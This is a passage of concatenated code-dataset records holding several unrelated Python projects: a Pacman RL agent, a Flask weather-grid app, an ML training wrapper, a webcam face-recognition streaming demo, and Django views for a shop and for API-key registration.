state):\n\t\tif self.last_state is not None:\n\t\t\treward = state.get_score() - self.last_state.get_score()\n\t\t\tself.observe_transition(self.last_state, self.last_action, state, reward)\n\t\treturn state\n\n\tdef register_initial_state(self, state):\n\t\tself.start_episode()\n\t\tif self.episodes_so_far == 0:\n\t\t\tprint('Beginning %d episodes of Training' % self.num_training)\n\n\tdef final(self, state):\n\t\t\"\"\"\n\t\tCalled by Pacman game at the terminal state\n\t\t\"\"\"\n\n\t\tdelta_reward = state.get_score() - self.last_state.get_score()\n\t\tself.observe_transition(self.last_state, self.last_action, state, delta_reward)\n\t\tself.stop_episode()\n\n\t\t# Make sure we have this var\n\t\tif self.episode_start_time is None:\n\t\t\tself.episode_start_time = time.time()\n\t\tif self.last_window_collected_rewards is None:\n\t\t\tself.last_window_collected_rewards = 0.0\n\t\tself.last_window_collected_rewards += state.get_score()\n\n\t\twindow_size = 100\n\t\tif self.episodes_so_far % window_size == 0:\n\t\t\tprint('RL Status:')\n\t\t\twindow_avg = self.last_window_collected_rewards / float(window_size)\n\t\t\tif self.is_in_training():\n\t\t\t\ttrain_avg = self.cumulative_train_rewards / float(self.episodes_so_far)\n\t\t\t\tprint('\\tCompleted %d out of %d training episodes' % (self.episodes_so_far, self.num_training))\n\t\t\t\tprint('\\tAverage Rewards over all training: %.2f' % train_avg)\n\t\t\telse:\n\t\t\t\ttest_avg = float(self.cumulative_test_rewards) / (self.episodes_so_far - self.num_training)\n\t\t\t\tprint('\\tCompleted %d test episodes' % (self.episodes_so_far - self.num_training))\n\t\t\t\tprint('\\tAverage Rewards over testing: %.2f' % test_avg)\n\t\t\tprint('\\tAverage Rewards for last %d episodes: %.2f' % (window_size, window_avg))\n\t\t\tprint('\\tEpisode took %.2f seconds' % (time.time() - self.episode_start_time))\n\n\t\t\tself.last_window_collected_rewards = 0.0\n\t\t\tself.episode_start_time = time.time()\n\n\t\tif self.episodes_so_far == self.num_training:\n\t\t\tprint('Training Done')\n","sub_path":"pacman_bot/abstracts/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":6049,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"439730655","text":"from osgeo import gdal, gdalconst\nimport matplotlib.pyplot as plt\nfrom download_task import download\nfrom flask import Flask, render_template, request, url_for, redirect\nimport re\nfrom datetime import datetime, timedelta\nfrom database_controller import db_insert_data,db_select_data,db_select\n\n\n# 自身の名称を app という名前でインスタンス化する\napp = Flask(__name__)\n\ndef main():\n file_name = download()\n if file_name:\n # register drivers\n gdal.AllRegister()\n\n # create a data set object\n dataset = gdal.Open(file_name, gdalconst.GA_ReadOnly)\n\n latitude_end = 47.6\n longitude_end = 120\n\n latitude = 35.03\n longitude = 135.77\n\n grid_latitude = int((latitude_end - latitude) / 0.05 )\n grid_longitude = int((longitude - longitude_end) / 0.0625 )\n\n print(grid_latitude,grid_longitude)\n\n\n col_num = dataset.RasterXSize # 東西のグリッドの個数\n row_num = dataset.RasterYSize # 南北のグリッドの個数\n band_num = dataset.RasterCount # ラスターの個数\n\n print(col_num,row_num,band_num)\n\n data_everyhours = []\n hours_ago = (band_num // 12) + 1 # i時間先の予報\n for i in range(hours_ago):\n if i == 0 or i == 1:\n target_band_num = 10 * (i + 1) # 読み込むラスターの番号\n else:\n target_band_num = 20 + (i - 1) * 12 # 読み込むラスターの番号\n\n print(target_band_num)\n band = dataset.GetRasterBand(target_band_num)\n\n # read the band as matrix\n data_matrix = band.ReadAsArray()\n data = data_matrix[grid_latitude,grid_longitude] #指定したグリッドにおけるデータ\n data_everyhours.append(str(data))\n\n date = int(re.search(\"[0-9]{10}\" , file_name).group())\n print(date)\n print(re.search(\"[0-9]{10}\" , file_name))\n print(re.search(\"[0-9]{10}\" , file_name).group())\n print(type(re.search(\"[0-9]{10}\" , file_name).group()))\n grid = str(grid_latitude) + \",\" + str(grid_longitude)\n grid_data = ','.join(data_everyhours)\n db_insert_data(grid_data,date,grid)\n\n\n\n\n plt.plot(range(len(data_everyhours)),data_everyhours)\n plt.cla()\n\n@app.route('/')\ndef index():\n title = \"GPV\"\n message = \"ようこそ!GPVへ\"\n # index.html をレンダリングする\n return render_template('index.html',\n message=message, title=title)\n\n@app.route('/kuala-gpv', methods=['GET','POST'])\ndef post():\n title = \"データ一覧\"\n recent_file = db_select()\n date = re.search(\"[0-9]{10}\" , recent_file)\n\n tdatatime = datetime.strptime(date.group(), '%Y%m%d%H') #読み込んだデータの初期時間を求める(UTC)\n\n data_time = (tdatatime + timedelta(hours=9))\n data_times = []\n for i in range(15): #hours_agoを使えそう...\n every_data_time = str((data_time + timedelta(hours=i)).strftime('%m/%d %H:00')) # 11/1 6:00\n print(type(every_data_time))\n data_times.append(every_data_time)\n\n recent_all_data = db_select_data(int(date.group()))\n cloud_cover = recent_all_data[0][0]\n grid_data = recent_all_data[0][1]\n\n\n print(data_times,cloud_cover,grid_data)\n\n if request.method == 'POST' and request.form['passwd'] == \"kuala\":\n return render_template('data.html',title=title,cloud_cover=cloud_cover,data_times=data_times)\n else:\n return redirect(url_for('index'))\n\nif __name__ == '__main__':\n app.debug = True # デバッグモード有効化\n app.run() # どこからでもアクセス可能に\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3680,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"2922696","text":"\"\"\"Main module.\"\"\"\n\nimport pandas as pd\nimport pickle\nimport os\nimport json\nimport warnings\nimport logging\n\ntry:\n from igel.utils import read_yaml, extract_params, _reshape\n from igel.data import evaluate_model\n from igel.configs import configs\n from igel.data import models_dict, metrics_dict\n from igel.preprocessing import update_dataset_props\n from igel.preprocessing import handle_missing_values\nexcept ImportError:\n from utils import read_yaml, extract_params, _reshape\n from data import evaluate_model\n from configs import configs\n from data import models_dict, metrics_dict\n from preprocessing import update_dataset_props\n from preprocessing import handle_missing_values\n\nfrom sklearn.model_selection import train_test_split\n\nwarnings.filterwarnings(\"ignore\")\nlogging.basicConfig(format='%(levelname)s - %(message)s', level=logging.INFO)\nlogger = logging.getLogger(__name__)\n\n\nclass IgelModel(object):\n \"\"\"\n IgelModel is the base model to use the fit, evaluate and predict functions of the sklearn library\n \"\"\"\n supported_types = ('regression', 'classification') # supported types that can be selected in the yaml file\n results_path = configs.get('results_path') # path to the results folder\n default_model_path = configs.get('default_model_path') # path to the pre-fitted model\n description_file = configs.get('description_file') # path to the description.json file\n evaluation_file = configs.get('evaluation_file') # path to the evaluation.json file\n prediction_file = configs.get('prediction_file') # path to the predictions.csv\n default_dataset_props = configs.get('dataset_props') # dataset props that can be changed from the yaml file\n default_model_props = configs.get('models_props') # model props that can be changed from the yaml file\n model = None\n\n def __init__(self, command: str, **cli_args):\n logger.info(f\"Entered CLI args: {cli_args}\")\n logger.info(f\"Chosen command: {command}\")\n self.data_path: str = cli_args.get('data_path') # path to the dataset\n\n if command == \"fit\":\n self.yml_path = cli_args.get('yaml_path')\n self.yaml_configs = read_yaml(self.yml_path)\n logger.info(f\"your chosen configuration: {self.yaml_configs}\")\n\n # dataset options given by the user\n self.dataset_props: dict = self.yaml_configs.get('dataset', self.default_dataset_props)\n # model options given by the user\n self.model_props: dict = self.yaml_configs.get('model', self.default_model_props)\n # list of target(s) to predict\n self.target: list = self.yaml_configs.get('target')\n\n self.model_type = self.model_props.get('type')\n logger.info(f\"dataset_props: {self.dataset_props} \\n\"\n f\"model_props: {self.model_props} \\n \"\n f\"target: {self.target} \\n\")\n\n else:\n self.model_path = cli_args.get('model_path', self.default_model_path)\n logger.info(f\"path of the pre-fitted model => {self.model_path}\")\n with open(self.description_file, 'r') as f:\n dic = json.load(f)\n self.target: list = dic.get(\"target\") # target to predict as a list\n self.model_type: str = dic.get(\"type\") # type of the model -> regression or classification\n\n def _create_model(self):\n \"\"\"\n fetch a model depending on the provided type and algorithm by the user and return it\n @return: class of the chosen model\n \"\"\"\n model_type = self.model_props.get('type')\n model_algorithm = self.model_props.get('algorithm')\n if not model_type or not model_algorithm:\n raise Exception(f\"model_type and algorithm cannot be None\")\n algorithms = models_dict.get(model_type) # extract all algorithms as a dictionary\n model = algorithms.get(model_algorithm) # extract model class depending on the algorithm\n logger.info(f\"Solving a {model_type} problem using ===> {model_algorithm}\")\n if not model:\n raise Exception(\"Model not found in the algorithms list\")\n else:\n return model\n\n def _save_model(self, model):\n \"\"\"\n save the model to a binary file\n @param model: model to save\n @return: bool\n \"\"\"\n try:\n if not os.path.exists(self.results_path):\n os.mkdir(self.results_path)\n else:\n logger.info(f\"Folder {self.results_path} already exists\")\n logger.warning(f\"data in the {self.results_path} folder will be overridden. If you don't\"\n f\"want this, then move the current {self.results_path} to another path\")\n\n except OSError:\n logger.exception(f\"Creating the directory {self.results_path} failed \")\n else:\n logger.info(f\"Successfully created the directory in {self.results_path} \")\n pickle.dump(model, open(self.default_model_path, 'wb'))\n return True\n\n def _load_model(self, f: str = ''):\n \"\"\"\n load a saved model from file\n @param f: path to model\n @return: loaded model\n \"\"\"\n try:\n if not f:\n logger.info(f\"result path: {self.results_path} \")\n logger.info(f\"loading model form {self.default_model_path} \")\n model = pickle.load(open(self.default_model_path, 'rb'))\n else:\n logger.info(f\"loading from {f}\")\n model = pickle.load(open(f, 'rb'))\n return model\n except FileNotFoundError:\n logger.error(f\"File not found in {self.default_model_path} \")\n\n def _prepare_fit_data(self):\n return self._process_data(fit=True)\n\n def _prepare_val_data(self):\n return self._process_data(fit=False)\n\n def _process_data(self, fit=True):\n \"\"\"\n read and return data as x and y\n @return: list of separate x and y\n \"\"\"\n assert isinstance(self.target, list), \"provide target(s) as a list in the yaml file\"\n assert len(self.target) > 0, \"please provide at least a target to predict\"\n try:\n dataset = pd.read_csv(self.data_path)\n logger.info(f\"dataset shape: {dataset.shape}\")\n attributes = list(dataset.columns)\n logger.info(f\"dataset attributes: {attributes}\")\n\n # handle missing values in the dataset\n preprocess_props = self.dataset_props.get('preprocess', None)\n if preprocess_props:\n # preprocessing strategy: mean, median, mode etc..\n strategy = preprocess_props.get('missing_values')\n if strategy:\n dataset = handle_missing_values(dataset,\n strategy=strategy)\n\n if any(col not in attributes for col in self.target):\n raise Exception(\"chosen target(s) to predict must exist in the dataset\")\n\n y = pd.concat([dataset.pop(x) for x in self.target], axis=1)\n x = _reshape(dataset.to_numpy())\n y = _reshape(y.to_numpy())\n logger.info(f\"y shape: {y.shape} and x shape: {x.shape}\")\n if not fit:\n return x, y\n\n split_options = self.dataset_props.get('split')\n test_size = split_options.get('test_size')\n shuffle = split_options.get('shuffle')\n stratify = split_options.get('stratify')\n x_train, x_test, y_train, y_test = train_test_split(x,\n y,\n test_size=test_size,\n shuffle=shuffle,\n stratify=None if not stratify or stratify.lower() == \"none\" else stratify)\n return x_train, y_train, x_test, y_test\n\n except Exception as e:\n logger.exception(f\"error occured while preparing the data: {e.args}\")\n\n def _prepare_predict_data(self):\n \"\"\"\n read and return x_pred\n @return: x_pred\n \"\"\"\n try:\n x_val = pd.read_csv(self.data_path)\n logger.info(f\"shape of the prediction data: {x_val.shape}\")\n\n return _reshape(x_val)\n except Exception as e:\n logger.exception(f\"exception while preparing prediction data: {e}\")\n\n def fit(self, **kwargs):\n \"\"\"\n fit a machine learning model and save it to a file along with a description.json file\n @return: None\n \"\"\"\n x_train, y_train, x_test, y_test = self._prepare_fit_data()\n model_class = self._create_model()\n self.model = model_class(**kwargs)\n logger.info(f\"executing a {self.model.__class__.__name__} algorithm ..\")\n\n self.model.fit(x_train, y_train)\n\n saved = self._save_model(self.model)\n if saved:\n logger.info(f\"model saved successfully and can be found in the {self.results_path} folder\")\n test_predictions = self.model.predict(x_test)\n eval_results = evaluate_model(model_type=self.model_type,\n y_pred=test_predictions,\n y_true=y_test,\n **kwargs)\n fit_description = {\n \"model\": self.model.__class__.__name__,\n \"type\": self.model_props['type'],\n \"algorithm\": self.model_props['algorithm'],\n \"data path\": self.data_path,\n \"train data shape\": x_train.shape,\n \"test data shape\": x_test.shape,\n \"train data size\": x_train.shape[0],\n \"test data size\": x_test.shape[0],\n \"results path\": str(self.results_path),\n \"model path\": str(self.default_model_path),\n \"target\": self.target,\n \"results on test data\": eval_results\n }\n\n try:\n logger.info(f\"saving fit description to {self.description_file}\")\n with open(self.description_file, 'w', encoding='utf-8') as f:\n json.dump(fit_description, f, ensure_ascii=False, indent=4)\n except Exception as e:\n logger.exception(f\"Error while storing the fit description file: {e}\")\n\n def evaluate(self, **kwargs):\n \"\"\"\n evaluate a pre-fitted model and save results to a evaluation.json\n @return: None\n \"\"\"\n try:\n model = self._load_model()\n x_val, y_true = self._prepare_val_data()\n y_pred = model.predict(x_val)\n eval_results = evaluate_model(model_type=self.model_type,\n y_pred=y_pred,\n y_true=y_true,\n **kwargs)\n\n logger.info(f\"saving fit description to {self.evaluation_file}\")\n with open(self.evaluation_file, 'w', encoding='utf-8') as f:\n json.dump(eval_results, f, ensure_ascii=False, indent=4)\n\n except Exception as e:\n logger.exception(f\"error occured during evaluation: {e}\")\n\n def predict(self):\n \"\"\"\n use a pre-fitted model to make predictions and save them as csv\n @return: None\n \"\"\"\n try:\n model = self._load_model(f=self.model_path)\n x_val = self._prepare_predict_data()\n y_pred = model.predict(x_val)\n y_pred = _reshape(y_pred)\n logger.info(f\"predictions array type: {type(y_pred)}\")\n logger.info(f\"predictions shape: {y_pred.shape} | shape len: {len(y_pred.shape)}\")\n logger.info(f\"predict on targets: {self.target}\")\n df_pred = pd.DataFrame.from_dict(\n {self.target[i]: y_pred[:, i] if len(y_pred.shape) > 1 else y_pred for i in range(len(self.target))})\n\n logger.info(f\"saving the predictions to {self.prediction_file}\")\n df_pred.to_csv(self.prediction_file)\n\n except Exception as e:\n logger.exception(f\"Error while preparing predictions: {e}\")\n\n\nif __name__ == '__main__':\n mock_params = {'data_path': '/home/nidhal/my_projects/igel/examples/data/indians-diabetes.csv',\n 'yaml_path': '/home/nidhal/my_projects/igel/examples/model.yaml'}\n\n reg = IgelModel('fit', **mock_params)\n reg.fit()\n # reg.predict()\n","sub_path":"igel/igel.py","file_name":"igel.py","file_ext":"py","file_size_in_byte":12578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"181596817","text":"import face_recognition\nimport cv2\nimport os\nimport numpy as np\nimport subprocess as sp\nfrom PIL import ImageFont, ImageDraw, Image\n# This is a demo of running face recognition on live video from your webcam. It's a little more complicated than the\n# other example, but it includes some basic performance tweaks to make things run a lot faster:\n# 1. Process each video frame at 1/4 resolution (though still display it at full resolution)\n# 2. Only detect faces in every other frame of video.\n\n# PLEASE NOTE: This example requires OpenCV (the `cv2` library) to be installed only to read from your webcam.\n# OpenCV is *not* required to use the face_recognition library. It's only required if you want to run this\n# specific demo. If you have trouble installing it, try any of the other demos that don't require it instead.\n\n# Get a reference to webcam #0 (the default one)\nvideo_capture = cv2.VideoCapture(0)\nif (video_capture.isOpened()):# 判断视频是否打开\n print (\"Open camera\")\nelse:\n print (\"Fail to open camera!\")\n# 设置摄像属性\nvideo_capture.set(cv2.CAP_PROP_FRAME_WIDTH, 1280) # 2560x1920 2217x2217 2952×1944 1920x1080\nvideo_capture.set(cv2.CAP_PROP_FRAME_HEIGHT, 720)\nvideo_capture.set(cv2.CAP_PROP_FPS, 5)\n# 视频属性\nsize = (int(video_capture.get(cv2.CAP_PROP_FRAME_WIDTH)), int(video_capture.get(cv2.CAP_PROP_FRAME_HEIGHT)))\nsizeStr = str(size[0]) + 'x' + str(size[1])\nfps = video_capture.get(cv2.CAP_PROP_FPS) # 30p/self\nfps = int(fps)\nhz = int(1000.0 / fps)\nprint(\"size: {} fps: {} hz: {}\".format(sizeStr, str(fps), str(hz)))\n# ffmpeg 推流 初始化\ncommand = ['ffmpeg',\n '-y',\n '-f', 'rawvideo',\n '-vcodec','rawvideo',\n '-pix_fmt', 'bgr24',\n '-s', sizeStr,\n '-r', str(fps),\n '-i', '-',\n '-c:v', 'libx264',\n '-pix_fmt', 'yuv420p',\n '-preset', 'ultrafast',\n '-f', 'flv',\n 'rtmp://127.0.0.1:1935/rtmplive/room']\nproc = sp.Popen(command, stdin=sp.PIPE,shell=False)\n# Define the codec and create VideoWriter object\n# 初始化写入文件\nfourcc = cv2.VideoWriter_fourcc(*'MJPG')\nout = cv2.VideoWriter('./output.avi',fourcc, fps, size)\n# Create arrays of known face encodings and their names\nknown_face_encodings = []\nknown_face_names = []\n# 批量读取特征\nfor root, dirs, files in os.walk(\"./face\", topdown=False):\n for name in files:\n print(os.path.join(root, name))\n image = face_recognition.load_image_file(os.path.join(root, name))\n face_encoding = face_recognition.face_encodings(image)[0]\n known_face_encodings.append(face_encoding)\n known_face_names.append(name[0:name.find(\".\")])\nprint(known_face_names)\n# Initialize some variables\nface_locations = []\nface_encodings = []\nface_names = []\nprocess_this_frame = True\n\nwhile True:\n # Grab a single frame of video\n ret, frame = video_capture.read()\n\n # Resize frame of video to 1/4 size for faster face recognition processing\n small_frame = cv2.resize(frame, (0, 0), fx=0.25, fy=0.25)\n\n # Convert the image from BGR color (which OpenCV uses) to RGB color (which face_recognition uses)\n rgb_small_frame = small_frame[:, :, ::-1]\n\n # Only process every other frame of video to save time\n if process_this_frame:\n # Find all the faces and face encodings in the current frame of video\n face_locations = face_recognition.face_locations(rgb_small_frame)\n face_encodings = face_recognition.face_encodings(rgb_small_frame, face_locations)\n\n face_names = []\n for face_encoding in face_encodings:\n # See if the face is a match for the known face(s)\n matches = face_recognition.compare_faces(known_face_encodings, face_encoding, 0.4)\n name = \"Unknown\"\n # If a match was found in known_face_encodings, just use the first one.\n if True in matches:\n first_match_index = matches.index(True)\n name = known_face_names[first_match_index]\n\n face_names.append(name)\n\n process_this_frame = not process_this_frame\n\n\n # Display the results\n for (top, right, bottom, left), name in zip(face_locations, face_names):\n # Scale back up face locations since the frame we detected in was scaled to 1/4 size\n top *= 4\n right *= 4\n bottom *= 4\n left *= 4\n\n # Draw a box around the face\n cv2.rectangle(frame, (left, top), (right, bottom), (0, 0, 255), 2)\n\n # Draw a label with a name below the face\n cv2.rectangle(frame, (left, bottom - 35), (right, bottom), (0, 0, 255), cv2.FILLED)\n im = Image.fromarray(frame)\n draw = ImageDraw.Draw(im)\n font = ImageFont.truetype(\"SimHei.ttf\", 15)\n draw.text((left + 4, bottom - 24), name, font=font)\n frame = cv2.cvtColor(np.array(im), 1)\n # Display the resulting image\n cv2.imshow('Video', frame)\n # 写入文件\n out.write(frame)\n # 推流\n proc.stdin.write(frame.tostring())\n # Hit 'q' on the keyboard to quit!\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n# Release handle to the webcam\nvideo_capture.release()\nout.release()\ncv2.destroyAllWindows()\n","sub_path":"examples/facerec_from_webcam_faster.py","file_name":"facerec_from_webcam_faster.py","file_ext":"py","file_size_in_byte":5170,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"196997663","text":"from django.conf.urls import patterns\nfrom django.conf.urls import url\n\nfrom groups.views import GroupDetailView\nfrom groups.views import CurrentHouseTeamListView\nfrom groups.views import PastHouseTeamListView\nfrom groups.views import VisitingGroupListView\nfrom groups.views import AllPastGroupListView\n\nurlpatterns = patterns(\n 'groups.views',\n\n url(r'^house-teams/current$',\n CurrentHouseTeamListView.as_view(),\n name='current_house_teams'),\n\n url(r'^house-teams/past$',\n PastHouseTeamListView.as_view(),\n name='past_house_teams'),\n\n url(r'^visiting$',\n VisitingGroupListView.as_view(),\n name='visiting_groups'),\n\n url(r'all/past$',\n AllPastGroupListView.as_view(),\n name='past_groups'),\n\n url(r'^group/(?P\\d+)$',\n 'group_detail_view_add_slug',\n name='group_detail_view_add_slug'),\n\n url(r'^group/(?P\\d+)/[A-Za-z0-9_\\-]+$',\n GroupDetailView.as_view(),\n name='group_detail_view'),\n\n url(r'^load_from_it/(\\d+)/?$',\n 'load_from_it',\n name='load_group_from_it')\n)\n","sub_path":"groups/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1092,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"354757044","text":"# Create your views here.\nimport secrets\n\nfrom django.core.exceptions import ValidationError\nfrom django.core.mail import send_mail\nfrom django.core.validators import validate_email\nfrom django.db import IntegrityError\nfrom django.db.models import Q\nfrom django.http import JsonResponse\nfrom rest_framework.response import Response\nfrom rest_framework.status import (\n HTTP_400_BAD_REQUEST\n)\nfrom rest_framework.views import APIView\n\nfrom api import settings\nfrom . import models\nfrom . import serializers\n\n\nclass ListDiscsView(APIView):\n def get(self, request):\n genere = request.GET.get(\"genere\")\n\n if genere is None:\n queryset = models.Disc.objects.all()\n\n else:\n queryset = models.Disc.objects.filter(Q(genere__name=genere) | Q(subgeneres__name=genere))\n data = serializers.DiscsSerializer(queryset, many=True).data\n return JsonResponse(data, safe=False)\n\n\ndef email(request):\n email_to = request.POST.get('email')\n name = request.POST.get('name')\n status = \"ok\"\n if email_to is None or name is None:\n return Response({'error': 'Please provide both name and email'},\n status=HTTP_400_BAD_REQUEST)\n\n try:\n validate_email(email_to)\n except ValidationError:\n status = \"not valid email\"\n\n if status == \"ok\":\n try:\n key = secrets.token_urlsafe(64)\n models.User.objects.create(name=name, email=email_to, apikey=key)\n\n except IntegrityError as e:\n status = \"already registered\"\n pass\n\n if status == \"ok\":\n\n try:\n subject = 'Thank you for registering to our site'\n message = 'this is your api key\\n' + str(key)\n email_from = settings.EMAIL_HOST_USER\n recipient_list = [email_to]\n send_mail(subject, message, email_from, recipient_list)\n status = \"your api key are in your inbox.\"\n except Exception as e:\n status = \"fail\"\n pass\n\n return JsonResponse({'status': status})\n\n\nclass register(APIView):\n \"\"\"this endpoint return the status of self register form\"\"\"\n\n def post(self, request):\n return email(request)\n","sub_path":"music/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2206,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"437163577","text":"from django.contrib.auth.models import User\nfrom maracay.models import Product, Profile, PurchaseConfirmation, Tools, purchaseHistory\nfrom django.db import transaction\nimport json,random, string\nfrom threading import Thread\nfrom django.template.loader import render_to_string\nfrom django.core.mail import send_mail\nfrom django.conf import settings\nfrom datetime import datetime, timedelta, date, time\nimport schedule, time, pytz, datetime\n\n\nclass backStart():\n def __init__(self, request):\n self._request = request\n self.user = 0\n self.response_data = {'error':[], 'data':[],'data2':[]}\n self.code = 200\n\n def get(self,params=None):\n self.response_data['cantTotal']= Product.objects.all()\n #self.response_data['first'] = self._request.GET.get('start',0)\n #self.response_data['last'] = self._request.GET.get('end',12)\n\n try:\n for a in Product.objects.all():\n self.response_data['data'].append({\n \"category\":a.category,\n \"id\":a.id,\n \"name\":a.name,\n \"cant\":a.cant,\n \"description\":a.description,\n \"image\":a.image,\n #\"price\":a.price,\n })\n '''for b in Product.objects.filter()[int(self._request.GET.get('start',0)):int(self._request.GET.get('end',12))]:\n self.response_data['data2'].append({\n \"category\":b.category,\n \"id\":b.id,\n \"cant\":b.cant,\n \"name\":b.name,\n \"description\":b.description,\n \"image\":b.image,\n #\"price\":b.price,\n })'''\n except Exception as e:\n self.code = 500\n return self.response_data['error'].append(str(e))\n\n def guardaCompra(self):\n def hilo2():\n try:\n print (self._request.POST)\n ########################codigo de seguridad de compra###################\n def ran_gen(size, chars=string.ascii_uppercase + string.digits):\n return ''.join(random.choice(chars) for x in range(size))\n\n tokenCode = ran_gen(30,\"abcdefghijkLmnNopqrstuvwxyz0123456789./*-\")\n ########################################################################\n\n carro = json.loads(self._request.POST['carrito'])\n\n dataSave = {}\n productId = 0\n carroEmail = {'compra':[]}\n for value in carro:\n for k,v in value.items():\n if k == 'id':\n dataSave['product']=Product.objects.get(pk=int(v))\n if k == 'cantidad':\n dataSave['cant_product']=v\n\n dataSave['start_date'] = self._request.POST['start_date']\n dataSave['code'] = tokenCode\n user = User.objects.get(email=self._request.user)\n compras = PurchaseConfirmation.objects.create(\n code=dataSave['code'],\n user=user,\n payment_type=self._request.POST['pago'],\n confirmation=2,\n product=dataSave['product'],\n start_date=dataSave['start_date'],\n cant_product=dataSave['cant_product'],\n )\n dataSave['product'].cant = dataSave['product'].cant - int(dataSave['cant_product'])\n dataSave['product'].save()\n compras.save()\n dataSave = {}\n productId = 0\n\n #save historial################\n historialCompras = purchaseHistory.objects.create(\n code_purchase=tokenCode,\n user=user,\n total=''\n )\n historialCompras.save()\n ###############################\n #Envio la factura por email\n carroEmail = {'compra':[]}\n allProducts = PurchaseConfirmation.objects.filter(code=compras.code)\n totalGeneral=0\n for value in allProducts:\n carroEmail['compra'].append({\n 'image':value.product.image,\n 'name':value.product.name,\n 'price':str(value.product.price)+' / '+str(value.cant_product),\n 'total':float(value.product.price)*int(value.cant_product),\n })\n totalGeneral = totalGeneral+(float(value.product.price)*int(value.cant_product))\n carroEmail['totalGeneral'] = totalGeneral\n carroEmail['totalCompleto'] = carroEmail['totalGeneral']+Tools.objects.get(pk=1).costoenvio\n\n msg_html = render_to_string('market/facturaCompra.html',\n {\n 'asunto':'Factura' ,\n 'payment_type':self._request.POST['pago'],\n 'email':self._request.user,\n 'carro':carroEmail['compra'],\n 'totalGeneral':carroEmail['totalGeneral'],\n 'totalCompleto':carroEmail['totalCompleto'],\n 'codigo':tokenCode,\n 'costoEnvio':Tools.objects.get(pk=1).costoenvio,\n })\n\n send_mail(\n 'Title',\n 'Subject',\n settings.EMAIL_HOST_USER,#from\n ['alfonsojn15@gmail.com'],#to\n html_message=msg_html,\n )\n except Exception as e:\n print (e)\n self.code = 500\n\n thread = Thread(target = hilo2)\n thread.start()\n\n def detailProducts(self):\n print (self._request.user.id)\n productos = PurchaseConfirmation.objects.filter(code=self._request.GET['code'])\n totalGeneral=0\n for value in productos:\n totalGeneral = totalGeneral+(float(value.product.price)*int(value.cant_product))\n self.response_data['data'].append({\n 'payment_type':value.payment_type,\n 'code':value.code,\n 'confirmation':value.confirmation,\n 'start_date':value.start_date,\n 'name':value.product.name,\n 'price':value.product.price,\n 'image':value.product.image,\n 'total':float(value.product.price)*int(value.cant_product),\n 'cant_product':value.cant_product,\n })\n\n totalCompleto = totalGeneral+Tools.objects.get(pk=1).costoenvio\n self.response_data['data2'].append({\n 'totalGeneral':totalGeneral,\n 'totalCompleto':totalCompleto,\n 'direccion':Profile.objects.get(user=self._request.user.id).direction,\n 'costoenvio':Tools.objects.get(pk=1).costoenvio,\n })\n\nclass profileBackend():\n def __init__(self, request):\n self._request = request\n self.user = 0\n self.response_data = {'error':[], 'data':[]}\n self.code = 200\n\n def post(self):\n #creacion de Usuario\n inssertDict = {}\n inssertDictProfile = {}\n if 'email' in self._request.POST:\n inssertDict['email'] = self._request.POST['email']\n inssertDict['username'] = self._request.POST['email']\n else:\n return self.response_data['error'].append(\"Error al crear Usuario/Sin email\")\n\n if 'name' in self._request.POST:\n inssertDict['first_name']=self._request.POST['name']\n if 'lastname' in self._request.POST:\n inssertDict['last_name']=self._request.POST['lastname']\n\n if 'password' in self._request.POST:\n inssertDict['password'] = self._request.POST['password']\n else:\n return self.response_data['error'].append(\"Error al crear Usuario/Sin contraseña\")\n\n if 'phone' in self._request.POST:\n inssertDictProfile['phone'] = self._request.POST['phone']\n else:\n return self.response_data['error'].append(\"Debe insertar un número célular\")\n\n if 'direction' in self._request.POST:\n inssertDictProfile['direction'] = self._request.POST['direction']\n else:\n return self.response_data['error'].append(\"Debe insertar una Dirección\")\n\n if 'rif' in self._request.POST:\n inssertDictProfile['rif'] = self._request.POST['rif']\n else:\n inssertDictProfile['rif'] = ''\n\n if 'localphone' in self._request.POST:\n inssertDictProfile['localphone'] = self._request.POST['localphone']\n else:\n inssertDictProfile['localphone'] = ''\n\n if 'reference' in self._request.POST:\n inssertDictProfile['reference'] = self._request.POST['reference']\n else:\n inssertDictProfile['reference'] = ''\n\n try:\n with transaction.atomic():\n try:\n getVerifiedUser = User.objects.get(username=inssertDict['username'])\n self.code = 500\n return self.response_data['error'].append(\"Ya este Email existe\")\n except Exception as e:\n user = User.objects.create_user(**inssertDict)\n inssertDictProfile['user'] = user\n creteProfile = Profile(**inssertDictProfile)\n creteProfile.save()\n except Exception as e:\n print (e)\n self.code = 500\n return self.response_data['error'].append(\"Error al crear Usuario\"+str(e))\n\n\n def accountData(self):\n dataA = purchaseHistory.objects.all()\n for a in dataA:\n tabladecompra = PurchaseConfirmation.objects.filter(code=a.code_purchase).last()\n self.response_data['data'].append({\n \"code_purchase\":a.code_purchase,\n \"total\":a.total,\n \"state\":tabladecompra.confirmation,\n \"payment_type\":tabladecompra.payment_type,\n \"start_date\":tabladecompra.start_date-timedelta(hours=4),\n })\n\n\n\n\nclass filterProducts():\n def __init__(self, request):\n self._request = request\n self.user = 0\n self.response_data = {'error':[], 'data':[]}\n self.code = 200\n\n def allProductsFilter(self):\n self.response_data['cantTotal']= Product.objects.all()\n for a in Product.objects.all():\n self.response_data['data'].append({\n \"category\":a.category,\n \"id\":a.id,\n \"name\":a.name,\n \"cant\":a.cant,\n \"description\":a.description,\n \"image\":a.image,\n #\"price\":a.price,\n })\n\n def viveresProductsFilter(self):\n self.response_data['cantTotal']= Product.objects.filter(category=1)\n for a in Product.objects.filter(category=1):\n self.response_data['data'].append({\n \"category\":a.category,\n \"id\":a.id,\n \"name\":a.name,\n \"cant\":a.cant,\n \"description\":a.description,\n \"image\":a.image,\n #\"price\":a.price,\n })\n def frigorificoProductsFilter(self):\n self.response_data['cantTotal']= Product.objects.filter(category=2)\n for a in Product.objects.filter(category=2):\n self.response_data['data'].append({\n \"category\":a.category,\n 